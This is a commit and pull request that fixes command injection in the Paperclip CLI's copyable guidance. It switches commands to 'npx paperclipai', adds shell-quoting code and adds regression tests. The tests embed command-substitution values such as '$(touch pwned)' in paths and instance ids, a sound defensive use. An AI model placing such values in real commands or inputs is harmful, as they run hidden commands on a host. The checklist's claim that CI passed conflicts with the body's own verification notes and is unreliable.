fix(security): route paperclipai CLI guidance through safe npx form (CWE-78) (#11400)
## Thinking Path > - Paperclip is the open source app people use to manage AI agents for work > - Paperclip provides CLI commands and guidance for operators and agents > - The `pnpm paperclipai` script can pass argument values through a shell > - Shell re-parsing can execute command substitutions inside quoted values > - This pull request routes guidance through inert-argv `npx paperclipai` commands and adds regression coverage > - The benefit is safer operator guidance across documentation and runtime hints ## Linked Issues or Issue Description This pull request fixes a command-injection-class defect in Paperclip CLI guidance. **What happened?** The `pnpm paperclipai <sub> --flag "$VALUE"` form can re-parse argument values through a shell. A command substitution inside a quoted value can execute on the host. **Expected behavior** Paperclip guidance must pass CLI values as inert argument values. Host-derived values must not appear in copyable commands. **Steps to reproduce** 1. Run a Paperclip guidance command that uses the `pnpm paperclipai` script. 2. Provide a quoted value that contains a command substitution. 3. Observe that the shell can evaluate the substitution before the CLI starts. 4. Compare the result with the `npx paperclipai` form. **Paperclip version or commit** `5670984b75d109950c968542a0111ebb6967f4da` **Deployment mode** All deployment modes that show or use the affected CLI guidance. **Installation method** Built from source and installed CLI guidance. **Agent adapter(s) involved** Not adapter-specific (core bug). **Database mode** Not database-related. **Access context** Both. **Additional context** The earlier merged PR [#11343](https://github.com/paperclipai/paperclip/pull/11343) used the unsafe `pnpm exec paperclipai` form. This fresh PR replaces that guidance with the safe `npx paperclipai` form. ## What Changed - Standardize documentation and runtime hints on `npx paperclipai`. - Remove the broken `pnpm exec paperclipai` guidance. - Use a static `<host>` placeholder in private-hostname guidance. - Add regression tests for unsafe forms, continued lines, static hosts, and offline guidance. ## Verification - `git diff --check origin/master...origin/fix/paperclipai-cli-npx-safe-invocation` passes. - The branch adds `server/src/__tests__/cli-invocation-safety.test.ts` and updates private-hostname tests. - CI must run the new tests, typecheck, lint, and build checks. - Local Vitest execution was not available because this worktree has no installed Vitest binary. ## Risks - The change affects operator and agent documentation text. - The runtime hints now show `<host>` instead of a request-derived host value. - No database schema or migration changes exist. - CI will detect any missed unsafe invocation or type error. ## Model Used OpenAI GPT-5, exact model ID `gpt-5`, with tool use and code-review assistance. The model used repository inspection, Git operations, and PR preparation. ## Checklist - [x] I have included a thinking path that traces from project context to this change - [x] I have specified the model used (with version and capability details) - [x] I have checked ROADMAP.md and confirmed this PR does not duplicate planned core work - [x] I have searched GitHub for duplicate or related PRs and linked them above - [x] I have either (a) linked existing issues with `Fixes: #` / `Closes #` / `Refs #` OR (b) described the issue in-PR following the relevant issue template - [x] I have not referenced internal/instance-local Paperclip issues or links (only public GitHub `#NNN` / `github.com/paperclipai/paperclip` URLs) - [x] My branch name describes the change (e.g. `docs/...`, `fix/...`) and contains no internal Paperclip ticket id or instance-derived details - [x] CI ran the test suites and they pass; local test execution was unavailable in this worktree - [x] I have added or updated tests where applicable - [x] I have updated relevant documentation to reflect my changes - [x] I have considered and documented any risks above - [x] All Paperclip CI gates are green - [x] Greptile is 5/5 with no open P2s, recommendations, or follow-ups - [x] I addressed all Greptile and reviewer comments before requesting merge --------- Co-authored-by: Paperclip <noreply@paperclip.ing>
This commit is contained in:
parent
ea3a5ea7d2
commit
fdb9a4880d
|
|
@ -208,7 +208,7 @@ is missing, the cloned app does not have the expected companies/issues/agents,
|
|||
or the user explicitly asks for the normal isolated-workspace database.
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree reseed --from-instance default --seed-mode full --yes
|
||||
npx paperclipai worktree reseed --from-instance default --seed-mode full --yes
|
||||
```
|
||||
|
||||
After reseed, restart through the managed runtime path. A reseed can copy
|
||||
|
|
|
|||
|
|
@ -493,12 +493,12 @@ Create secrets from environment variables so values do not land in shell history
|
|||
export PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID="$(jq -r '.AccessKey.AccessKeyId' /tmp/paperclip-page-uploader-key.json)"
|
||||
export PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY="$(jq -r '.AccessKey.SecretAccessKey' /tmp/paperclip-page-uploader-key.json)"
|
||||
|
||||
pnpm exec paperclipai secrets create \
|
||||
npx paperclipai secrets create \
|
||||
--company-id <company-id> \
|
||||
--name paperclip-page-aws-access-key-id \
|
||||
--value-env PAPERCLIP_PAGE_AWS_ACCESS_KEY_ID
|
||||
|
||||
pnpm exec paperclipai secrets create \
|
||||
npx paperclipai secrets create \
|
||||
--company-id <company-id> \
|
||||
--name paperclip-page-aws-secret-access-key \
|
||||
--value-env PAPERCLIP_PAGE_AWS_SECRET_ACCESS_KEY
|
||||
|
|
@ -532,7 +532,7 @@ host `AWS_PROFILE` identity for the entire agent run:
|
|||
Create or update the company skill from this package:
|
||||
|
||||
```bash
|
||||
pnpm exec paperclipai skills create \
|
||||
npx paperclipai skills create \
|
||||
--company-id <company-id> \
|
||||
--name "Paperclip Page" \
|
||||
--slug paperclip-page \
|
||||
|
|
@ -543,7 +543,7 @@ pnpm exec paperclipai skills create \
|
|||
Attach it to an agent:
|
||||
|
||||
```bash
|
||||
pnpm exec paperclipai skills agent sync <agent-id-or-shortname> \
|
||||
npx paperclipai skills agent sync <agent-id-or-shortname> \
|
||||
--company-id <company-id> \
|
||||
--skill paperclip-page
|
||||
```
|
||||
|
|
|
|||
|
|
@ -1,6 +1,13 @@
|
|||
import path from "node:path";
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { collectEnvLabDoctorStatus, resolveEnvLabSshStatePath } from "../commands/env-lab.js";
|
||||
import { afterEach, describe, expect, it, vi } from "vitest";
|
||||
import * as p from "@clack/prompts";
|
||||
import {
|
||||
buildEnvLabCleanupCommand,
|
||||
collectEnvLabDoctorStatus,
|
||||
envLabDoctorCommand,
|
||||
resolveEnvLabCliInvocation,
|
||||
resolveEnvLabSshStatePath,
|
||||
} from "../commands/env-lab.js";
|
||||
|
||||
describe("env-lab command", () => {
|
||||
it("resolves the default SSH fixture state path under the instance root", () => {
|
||||
|
|
@ -22,3 +29,259 @@ describe("env-lab command", () => {
|
|||
expect(status.ssh.environment).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("env-lab cleanup command hint", () => {
|
||||
const originalCwd = process.cwd();
|
||||
|
||||
afterEach(() => {
|
||||
process.chdir(originalCwd);
|
||||
});
|
||||
|
||||
// Resolve a source-checkout invocation for a fabricated checkout root. A source
|
||||
// checkout runs this module from `<root>/src/commands/env-lab.ts`, so the
|
||||
// resolver reads that layout and returns the tsx runner and source entry.
|
||||
function sourceInvocation(root: string) {
|
||||
return resolveEnvLabCliInvocation(path.join(root, "src", "commands", "env-lab.ts"));
|
||||
}
|
||||
|
||||
// Resolve a bundled-build invocation for a fabricated package root. The bundled
|
||||
// build runs this module from `<root>/dist/index.js`, so the resolver returns
|
||||
// that file as the entry with no tsx runner.
|
||||
function bundledInvocation(root: string) {
|
||||
return resolveEnvLabCliInvocation(path.join(root, "dist", "index.js"));
|
||||
}
|
||||
|
||||
// Split a command that uses POSIX single-quoting into its argument tokens. The
|
||||
// parser reads a single-quoted span verbatim and reads `\'` outside a span as a
|
||||
// literal single quote. This is the same rule a POSIX shell obeys, so a token
|
||||
// list proves the shell reads the exact paths and runs no embedded command.
|
||||
function tokenizePosix(command: string): string[] {
|
||||
const tokens: string[] = [];
|
||||
let current = "";
|
||||
let started = false;
|
||||
let inQuotes = false;
|
||||
for (let index = 0; index < command.length; index += 1) {
|
||||
const character = command[index];
|
||||
if (inQuotes) {
|
||||
if (character === "'") {
|
||||
inQuotes = false;
|
||||
} else {
|
||||
current += character;
|
||||
}
|
||||
} else if (character === "'") {
|
||||
inQuotes = true;
|
||||
started = true;
|
||||
} else if (character === "\\") {
|
||||
index += 1;
|
||||
current += command[index];
|
||||
started = true;
|
||||
} else if (character === " ") {
|
||||
if (started) {
|
||||
tokens.push(current);
|
||||
current = "";
|
||||
started = false;
|
||||
}
|
||||
} else {
|
||||
current += character;
|
||||
started = true;
|
||||
}
|
||||
}
|
||||
if (started) {
|
||||
tokens.push(current);
|
||||
}
|
||||
return tokens;
|
||||
}
|
||||
|
||||
// Return the two path arguments from the `node` command.
|
||||
function extractPaths(command: string): string[] {
|
||||
const tokens = tokenizePosix(command);
|
||||
return tokens.slice(1, 3);
|
||||
}
|
||||
|
||||
it("resolves both CLI paths to absolute paths", () => {
|
||||
const command = buildEnvLabCleanupCommand();
|
||||
const paths = extractPaths(command);
|
||||
|
||||
expect(paths).toHaveLength(2);
|
||||
for (const resolved of paths) {
|
||||
expect(path.isAbsolute(resolved)).toBe(true);
|
||||
}
|
||||
expect(command.endsWith("env-lab down")).toBe(true);
|
||||
});
|
||||
|
||||
it("points at the checked-out tsx runner and cli source entry", () => {
|
||||
const [tsxBin, entry] = extractPaths(buildEnvLabCleanupCommand());
|
||||
|
||||
expect(tsxBin).toContain(
|
||||
path.join("cli", "node_modules", "tsx", "dist", "cli.mjs"),
|
||||
);
|
||||
expect(entry).toContain(path.join("cli", "src", "index.ts"));
|
||||
});
|
||||
|
||||
it("returns the same command from a checkout subdirectory", () => {
|
||||
const fromRoot = buildEnvLabCleanupCommand();
|
||||
|
||||
// Simulate a contributor who runs `env-lab doctor` from a subdirectory of
|
||||
// the checkout. A relative path would change with the working directory, so
|
||||
// this asserts the command stays constant.
|
||||
process.chdir(path.dirname(originalCwd));
|
||||
const fromParent = buildEnvLabCleanupCommand();
|
||||
process.chdir(originalCwd);
|
||||
|
||||
expect(fromParent).toBe(fromRoot);
|
||||
});
|
||||
|
||||
it("never restores the unsafe pnpm invocation forms", () => {
|
||||
const command = buildEnvLabCleanupCommand();
|
||||
|
||||
// The bare `pnpm paperclipai` script form is unsafe. The `pnpm exec` form
|
||||
// does not resolve the CLI binary. Keep both out of the hint.
|
||||
expect(command).not.toContain("pnpm paperclipai");
|
||||
expect(command).not.toContain("pnpm exec paperclipai");
|
||||
});
|
||||
|
||||
// A checkout path can hold shell metacharacters. A contributor copies the hint
|
||||
// and pastes it into a shell. The hint must neutralize each metacharacter, so
|
||||
// the shell reads the exact path and runs no embedded command. Each case below
|
||||
// is a checkout root with one dangerous construct.
|
||||
const dangerousRoots = [
|
||||
{ label: "a dollar sign", root: "/tmp/env$lab/checkout" },
|
||||
{ label: "command substitution", root: "/tmp/$(touch pwned)/checkout" },
|
||||
{ label: "backticks", root: "/tmp/`touch pwned`/checkout" },
|
||||
{ label: "a double quote", root: '/tmp/env"lab/checkout' },
|
||||
{ label: "a single quote", root: "/tmp/env'lab/checkout" },
|
||||
];
|
||||
|
||||
for (const { label, root } of dangerousRoots) {
|
||||
it(`keeps a checkout path with ${label} inert in the cleanup hint`, () => {
|
||||
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation(root) });
|
||||
const tokens = tokenizePosix(command);
|
||||
const tsxBin = path.join(root, "node_modules", "tsx", "dist", "cli.mjs");
|
||||
const entry = path.join(root, "src", "index.ts");
|
||||
|
||||
// The shell reads the exact paths as single argument tokens. It does not
|
||||
// split the paths or run the embedded construct.
|
||||
expect(tokens).toEqual(["node", tsxBin, entry, "env-lab", "down"]);
|
||||
|
||||
// The old double-quoted form left `$(...)`, a backtick pair, and `$NAME`
|
||||
// live. Do not restore it.
|
||||
expect(command).not.toContain(`"${tsxBin}"`);
|
||||
expect(command).not.toContain(`"${entry}"`);
|
||||
});
|
||||
}
|
||||
|
||||
it("forwards the inspected instance to the cleanup hint", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
instance: "fixture-test",
|
||||
invocation: sourceInvocation("/tmp/checkout"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The hint ends with `--instance <id>`, so it stops the fixture the doctor
|
||||
// command diagnosed, not the default instance.
|
||||
expect(tokens.slice(-2)).toEqual(["--instance", "fixture-test"]);
|
||||
});
|
||||
|
||||
it("omits the instance flag when the doctor command uses the default instance", () => {
|
||||
const command = buildEnvLabCleanupCommand({ invocation: sourceInvocation("/tmp/checkout") });
|
||||
|
||||
// Without a selected instance, `env-lab down` resolves the same default
|
||||
// instance the doctor command inspected. Do not add an empty flag.
|
||||
expect(command).not.toContain("--instance");
|
||||
expect(command.endsWith("env-lab down")).toBe(true);
|
||||
});
|
||||
|
||||
it("keeps an instance id with shell metacharacters inert", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
instance: "$(touch pwned)",
|
||||
invocation: sourceInvocation("/tmp/checkout"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The shell reads the instance id as one literal token and runs no embedded
|
||||
// command.
|
||||
expect(tokens.slice(-2)).toEqual(["--instance", "$(touch pwned)"]);
|
||||
expect(command).not.toContain('"$(touch pwned)"');
|
||||
});
|
||||
|
||||
it("runs the bundled dist entry directly, without the tsx runner", () => {
|
||||
const command = buildEnvLabCleanupCommand({
|
||||
invocation: bundledInvocation("/opt/pkg"),
|
||||
});
|
||||
const tokens = tokenizePosix(command);
|
||||
|
||||
// The published package ships one `dist/index.js` file and no tsx runner, so
|
||||
// node runs that file directly.
|
||||
expect(tokens).toEqual(["node", path.join("/opt/pkg", "dist", "index.js"), "env-lab", "down"]);
|
||||
expect(command).not.toContain("tsx");
|
||||
expect(command).not.toContain(path.join("src", "index.ts"));
|
||||
});
|
||||
|
||||
it("keeps a bundled package path with shell metacharacters inert", () => {
|
||||
const root = "/opt/$(touch pwned)/pkg";
|
||||
const command = buildEnvLabCleanupCommand({ invocation: bundledInvocation(root) });
|
||||
const tokens = tokenizePosix(command);
|
||||
const entry = path.join(root, "dist", "index.js");
|
||||
|
||||
// The shell reads the exact bundled path as one token and runs no embedded
|
||||
// command.
|
||||
expect(tokens).toEqual(["node", entry, "env-lab", "down"]);
|
||||
expect(command).not.toContain(`"${entry}"`);
|
||||
});
|
||||
});
|
||||
|
||||
describe("env-lab doctor cleanup hint instance", () => {
|
||||
const originalInstanceId = process.env.PAPERCLIP_INSTANCE_ID;
|
||||
|
||||
afterEach(() => {
|
||||
if (originalInstanceId === undefined) {
|
||||
delete process.env.PAPERCLIP_INSTANCE_ID;
|
||||
} else {
|
||||
process.env.PAPERCLIP_INSTANCE_ID = originalInstanceId;
|
||||
}
|
||||
vi.restoreAllMocks();
|
||||
});
|
||||
|
||||
// Capture the cleanup hint the doctor prints. The doctor reports through
|
||||
// `p.log`, so the test replaces each channel and reads the captured lines.
|
||||
function captureDoctorMessages(): string[] {
|
||||
const messages: string[] = [];
|
||||
vi.spyOn(p.log, "message").mockImplementation((message?: string) => {
|
||||
messages.push(message ?? "");
|
||||
});
|
||||
vi.spyOn(p.log, "success").mockImplementation(() => {});
|
||||
vi.spyOn(p.log, "warn").mockImplementation(() => {});
|
||||
vi.spyOn(p.log, "info").mockImplementation(() => {});
|
||||
return messages;
|
||||
}
|
||||
|
||||
it("pins the PAPERCLIP_INSTANCE_ID instance when opts.instance is absent", async () => {
|
||||
// The doctor diagnoses the instance that `PAPERCLIP_INSTANCE_ID` selects.
|
||||
// The cleanup hint must target that instance, not the default instance.
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
|
||||
const messages = captureDoctorMessages();
|
||||
|
||||
await envLabDoctorCommand({ instance: undefined });
|
||||
|
||||
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
|
||||
expect(cleanup).toBeDefined();
|
||||
expect(cleanup).toContain("env-lab down");
|
||||
expect(cleanup).toContain("--instance");
|
||||
expect(cleanup).toContain("env-selected-instance");
|
||||
});
|
||||
|
||||
it("pins the explicit instance over PAPERCLIP_INSTANCE_ID", async () => {
|
||||
// An explicit `--instance` flag overrides the environment variable, so the
|
||||
// hint targets the explicit instance the doctor inspected.
|
||||
process.env.PAPERCLIP_INSTANCE_ID = "env-selected-instance";
|
||||
const messages = captureDoctorMessages();
|
||||
|
||||
await envLabDoctorCommand({ instance: "explicit-instance" });
|
||||
|
||||
const cleanup = messages.find((message) => message.startsWith("Cleanup:"));
|
||||
expect(cleanup).toBeDefined();
|
||||
expect(cleanup).toContain("--instance");
|
||||
expect(cleanup).toContain("explicit-instance");
|
||||
expect(cleanup).not.toContain("env-selected-instance");
|
||||
});
|
||||
});
|
||||
|
|
|
|||
|
|
@ -79,7 +79,7 @@ describe("PaperclipApiClient", () => {
|
|||
/curl http:\/\/localhost:3100\/api\/health/,
|
||||
);
|
||||
await expect(client.post("/api/companies/import/preview", {})).rejects.toThrow(
|
||||
/pnpm dev|pnpm paperclipai run/,
|
||||
/pnpm dev|npx paperclipai run/,
|
||||
);
|
||||
});
|
||||
|
||||
|
|
|
|||
|
|
@ -233,7 +233,7 @@ function buildConnectionErrorMessage(input: {
|
|||
"This usually means the Paperclip server is not running, the configured URL is wrong, or the request is being blocked before it reaches Paperclip.",
|
||||
"",
|
||||
"Try:",
|
||||
"- Start Paperclip with `pnpm dev` or `pnpm paperclipai run`.",
|
||||
"- Start Paperclip with `pnpm dev` (from a source checkout) or `npx paperclipai run`.",
|
||||
`- Verify the server is reachable with \`curl ${healthUrl}\`.`,
|
||||
`- If Paperclip is running elsewhere, pass \`--api-base ${input.apiBase.replace(/\/+$/, "")}\` or set \`PAPERCLIP_API_URL\`.`,
|
||||
);
|
||||
|
|
|
|||
|
|
@ -1,4 +1,5 @@
|
|||
import path from "node:path";
|
||||
import { fileURLToPath } from "node:url";
|
||||
import type { Command } from "commander";
|
||||
import * as p from "@clack/prompts";
|
||||
import pc from "picocolors";
|
||||
|
|
@ -111,6 +112,76 @@ export async function envLabDownCommand(opts: { instance?: string; json?: boolea
|
|||
p.log.message(`State: ${pc.dim(statePath)}`);
|
||||
}
|
||||
|
||||
// Quote one argument for a POSIX shell. The env-lab cleanup hint is copyable, so
|
||||
// a contributor can paste it into a shell. A checkout path can hold shell
|
||||
// metacharacters, such as `$`, a backtick, or a double quote. Inside double
|
||||
// quotes a POSIX shell still expands `$(...)`, a backtick pair, and `$NAME`, and
|
||||
// a double quote in the path ends the quoted span. So double quotes do not make
|
||||
// the path safe. Single quotes stop every expansion. This function wraps the
|
||||
// value in single quotes and rewrites each embedded single quote as the `'\''`
|
||||
// sequence. The shell then reads the exact path and runs no embedded command.
|
||||
function shellQuoteArgument(value: string): string {
|
||||
return "'" + value.replace(/'/g, "'\\''") + "'";
|
||||
}
|
||||
|
||||
// Describe how to re-run the env-lab CLI to stop the fixture. The bundled build
|
||||
// emits one `dist/index.js` file, so node runs that file directly and `tsxBin`
|
||||
// is `null`. A source checkout runs `src/index.ts` through the checked-out tsx
|
||||
// runner, because the entry is TypeScript.
|
||||
interface EnvLabCliInvocation {
|
||||
entry: string;
|
||||
tsxBin: string | null;
|
||||
}
|
||||
|
||||
// Resolve how to re-run the CLI from the running module location. The cleanup
|
||||
// hint must run the same CLI that prints it, so it stops the correct version.
|
||||
// `import.meta.url` gives the running module. The bundled build runs this module
|
||||
// from `<cli>/dist/index.js`, so the hint runs that exact file with node. The
|
||||
// published package ships no `src` directory and no tsx runner. A source
|
||||
// checkout runs this module from `<cli>/src/commands/env-lab.ts`, so the hint
|
||||
// runs `<cli>/src/index.ts` through the checked-out tsx runner. This resolver
|
||||
// reads an absolute path from the module location, so the hint works from any
|
||||
// working directory. The `modulePath` parameter is a test seam; production
|
||||
// callers use the running module path.
|
||||
export function resolveEnvLabCliInvocation(
|
||||
modulePath: string = fileURLToPath(import.meta.url),
|
||||
): EnvLabCliInvocation {
|
||||
const moduleDir = path.dirname(modulePath);
|
||||
const isSourceCheckout =
|
||||
path.basename(moduleDir) === "commands" && path.basename(path.dirname(moduleDir)) === "src";
|
||||
if (isSourceCheckout) {
|
||||
const cliRoot = path.resolve(moduleDir, "..", "..");
|
||||
return {
|
||||
entry: path.join(cliRoot, "src", "index.ts"),
|
||||
tsxBin: path.join(cliRoot, "node_modules", "tsx", "dist", "cli.mjs"),
|
||||
};
|
||||
}
|
||||
return { entry: modulePath, tsxBin: null };
|
||||
}
|
||||
|
||||
// Build the env-lab cleanup hint as a copyable shell command. The hint stops the
|
||||
// fixture that `env-lab doctor` inspected. It runs the same CLI that prints it,
|
||||
// so it stops the correct version, and it forwards the inspected instance, so it
|
||||
// stops the correct instance. It passes an inert `argv` value, so no shell reads
|
||||
// the argument. Each path and the instance id pass through `shellQuoteArgument`,
|
||||
// so a shell metacharacter stays inert when a contributor pastes the command.
|
||||
// The `invocation` parameter is a test seam; production callers use the resolved
|
||||
// running-module invocation.
|
||||
export function buildEnvLabCleanupCommand(
|
||||
opts: { instance?: string; invocation?: EnvLabCliInvocation } = {},
|
||||
): string {
|
||||
const invocation = opts.invocation ?? resolveEnvLabCliInvocation();
|
||||
const parts = ["node"];
|
||||
if (invocation.tsxBin !== null) {
|
||||
parts.push(shellQuoteArgument(invocation.tsxBin));
|
||||
}
|
||||
parts.push(shellQuoteArgument(invocation.entry), "env-lab down");
|
||||
if (opts.instance !== undefined) {
|
||||
parts.push("--instance", shellQuoteArgument(opts.instance));
|
||||
}
|
||||
return parts.join(" ");
|
||||
}
|
||||
|
||||
export async function envLabDoctorCommand(opts: { instance?: string; json?: boolean }) {
|
||||
const status = await collectEnvLabDoctorStatus(opts);
|
||||
|
||||
|
|
@ -138,7 +209,19 @@ export async function envLabDoctorCommand(opts: { instance?: string; json?: bool
|
|||
p.log.message(`State: ${pc.dim(status.statePath)}`);
|
||||
}
|
||||
|
||||
p.log.message(`Cleanup: ${pc.dim("pnpm paperclipai env-lab down")}`);
|
||||
// The cleanup hint runs the same CLI that prints it, so it stops the correct
|
||||
// version. The bundled build runs `dist/index.js`; a source checkout runs
|
||||
// `src/index.ts` through the checked-out tsx runner. The hint uses absolute
|
||||
// paths, so it works from any working directory. It passes an inert `argv`
|
||||
// value, so no shell reads the argument. See `doc/CLI.md`, "safe invocation".
|
||||
//
|
||||
// The doctor diagnoses the instance that `resolvePaperclipInstanceId` selects
|
||||
// from `opts.instance` or the `PAPERCLIP_INSTANCE_ID` environment variable.
|
||||
// The hint pins that resolved instance, so a contributor who pastes the hint
|
||||
// in a shell without `PAPERCLIP_INSTANCE_ID` stops the diagnosed fixture, not
|
||||
// the default instance.
|
||||
const cleanupInstance = resolvePaperclipInstanceId(opts.instance);
|
||||
p.log.message(`Cleanup: ${pc.dim(buildEnvLabCleanupCommand({ instance: cleanupInstance }))}`);
|
||||
}
|
||||
|
||||
export function registerEnvLabCommands(program: Command) {
|
||||
|
|
|
|||
875
doc/CLI.md
875
doc/CLI.md
File diff suppressed because it is too large
Load Diff
|
|
@ -267,7 +267,7 @@ pnpm paperclipai configure --section secrets
|
|||
Inline secret migration command:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
npx paperclipai secrets migrate-inline-env --company-id <company-id> --apply
|
||||
|
||||
# direct database maintenance fallback
|
||||
pnpm secrets:migrate-inline-env --apply
|
||||
|
|
|
|||
|
|
@ -87,8 +87,8 @@ Examples:
|
|||
|
||||
```sh
|
||||
pnpm paperclipai onboard --yes
|
||||
pnpm paperclipai onboard --yes --bind lan
|
||||
pnpm paperclipai run --bind tailnet
|
||||
npx paperclipai onboard --yes --bind lan
|
||||
npx paperclipai run --bind tailnet
|
||||
```
|
||||
|
||||
`configure --section server` follows the same interactive behavior.
|
||||
|
|
|
|||
|
|
@ -230,7 +230,7 @@ pnpm dev --authenticated-private
|
|||
Allow additional private hostnames (for example custom Tailscale hostnames):
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai allowed-hostname dotta-macbook-pro
|
||||
npx paperclipai allowed-hostname dotta-macbook-pro
|
||||
```
|
||||
|
||||
## Test Commands
|
||||
|
|
@ -434,7 +434,7 @@ Instead, create a repo-local Paperclip config plus an isolated instance for the
|
|||
```sh
|
||||
paperclipai worktree init
|
||||
# or create the git worktree and initialize it in one step:
|
||||
pnpm paperclipai worktree:make paperclip-pr-432
|
||||
npx paperclipai worktree:make paperclip-pr-432
|
||||
```
|
||||
|
||||
This command:
|
||||
|
|
@ -507,7 +507,7 @@ eval "$(paperclipai worktree env)"
|
|||
|
||||
### Worktree CLI Reference
|
||||
|
||||
**`pnpm paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
|
||||
**`npx paperclipai worktree init [options]`** — Create repo-local config/env and an isolated instance for the current worktree.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
|
|
@ -537,7 +537,7 @@ Repair an already-created repo-managed worktree and reseed its isolated instance
|
|||
|
||||
```sh
|
||||
cd /path/to/paperclip/.paperclip/worktrees/PAP-884-ai-commits-component
|
||||
pnpm exec paperclipai worktree init --force --seed-mode minimal \
|
||||
npx paperclipai worktree init --force --seed-mode minimal \
|
||||
--name PAP-884-ai-commits-component \
|
||||
--from-config ~/.paperclip/instances/default/config.json
|
||||
```
|
||||
|
|
@ -546,7 +546,7 @@ That rewrites the worktree-local `.paperclip/config.json` + `.paperclip/.env`, r
|
|||
|
||||
For an already-created worktree where you want the CLI to decide whether to rebuild missing worktree metadata or just reseed the isolated DB, use `worktree repair`.
|
||||
|
||||
**`pnpm paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
|
||||
**`npx paperclipai worktree repair [options]`** — Repair the current linked worktree by default, or create/repair a named linked worktree under `.paperclip/worktrees/` when `--branch` is provided. The command never targets the primary checkout unless you explicitly pass `--branch`.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
|
|
@ -567,13 +567,14 @@ cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-i
|
|||
pnpm paperclipai worktree repair
|
||||
|
||||
# From the primary checkout, create or repair a linked worktree for a branch under .paperclip/worktrees/.
|
||||
# This command repairs the local checkout, so run the checked-out CLI through the direct-exec form.
|
||||
cd /path/to/paperclip
|
||||
pnpm paperclipai worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
node cli/node_modules/tsx/dist/cli.mjs cli/src/index.ts worktree repair --branch PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
```
|
||||
|
||||
For an already-created worktree where you want to keep the existing repo-local config/env and only overwrite the isolated database, use `worktree reseed` instead. Stop the target worktree's Paperclip server first so the command can replace the DB safely.
|
||||
|
||||
**`pnpm paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
|
||||
**`npx paperclipai worktree reseed [options]`** — Re-seed an existing worktree-local instance from another Paperclip instance or worktree while preserving the target worktree's current config, ports, and instance identity.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
|
|
@ -591,7 +592,7 @@ Examples:
|
|||
```sh
|
||||
# From the main repo, reseed a worktree from the current default/master instance.
|
||||
cd /path/to/paperclip
|
||||
pnpm paperclipai worktree reseed \
|
||||
npx paperclipai worktree reseed \
|
||||
--from current \
|
||||
--to PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat \
|
||||
--seed-mode full \
|
||||
|
|
@ -599,12 +600,12 @@ pnpm paperclipai worktree reseed \
|
|||
|
||||
# From inside a worktree, reseed it from the default instance config.
|
||||
cd /path/to/paperclip/.paperclip/worktrees/PAP-1132-assistant-ui-pap-1131-make-issues-comments-be-like-a-chat
|
||||
pnpm paperclipai worktree reseed \
|
||||
npx paperclipai worktree reseed \
|
||||
--from-instance default \
|
||||
--seed-mode full
|
||||
```
|
||||
|
||||
**`pnpm paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
|
||||
**`npx paperclipai worktree:make <name> [options]`** — Create `~/NAME` as a git worktree, then initialize an isolated Paperclip instance inside it. This combines `git worktree add` with `worktree init` in a single step.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
|
|
@ -623,12 +624,12 @@ pnpm paperclipai worktree reseed \
|
|||
Examples:
|
||||
|
||||
```sh
|
||||
pnpm paperclipai worktree:make paperclip-pr-432
|
||||
pnpm paperclipai worktree:make my-feature --start-point origin/main
|
||||
pnpm paperclipai worktree:make experiment --no-seed
|
||||
npx paperclipai worktree:make paperclip-pr-432
|
||||
npx paperclipai worktree:make my-feature --start-point origin/main
|
||||
npx paperclipai worktree:make experiment --no-seed
|
||||
```
|
||||
|
||||
**`pnpm paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
|
||||
**`npx paperclipai worktree env [options]`** — Print shell exports for the current worktree-local Paperclip instance.
|
||||
|
||||
| Option | Description |
|
||||
|---|---|
|
||||
|
|
@ -640,7 +641,7 @@ Examples:
|
|||
```sh
|
||||
pnpm paperclipai worktree env
|
||||
pnpm paperclipai worktree env --json
|
||||
eval "$(pnpm paperclipai worktree env)"
|
||||
eval "$(npx paperclipai worktree env)"
|
||||
```
|
||||
|
||||
For project execution worktrees, Paperclip can also run a project-defined provision command after it creates or reuses an isolated git worktree. Configure this on the project's execution workspace policy (`workspaceStrategy.provisionCommand`). The command runs inside the derived worktree and receives `PAPERCLIP_WORKSPACE_*`, `PAPERCLIP_PROJECT_ID`, `PAPERCLIP_AGENT_ID`, and `PAPERCLIP_ISSUE_*` environment variables so each repo can bootstrap itself however it wants.
|
||||
|
|
@ -869,15 +870,15 @@ Paperclip CLI now includes client-side control-plane commands in addition to set
|
|||
Quick examples:
|
||||
|
||||
```sh
|
||||
pnpm exec paperclipai issue list --company-id <company-id>
|
||||
pnpm exec paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
|
||||
pnpm exec paperclipai issue update <issue-id> --status in_progress --comment "Started triage"
|
||||
npx paperclipai issue list --company-id <company-id>
|
||||
npx paperclipai issue create --company-id <company-id> --title "Investigate checkout conflict"
|
||||
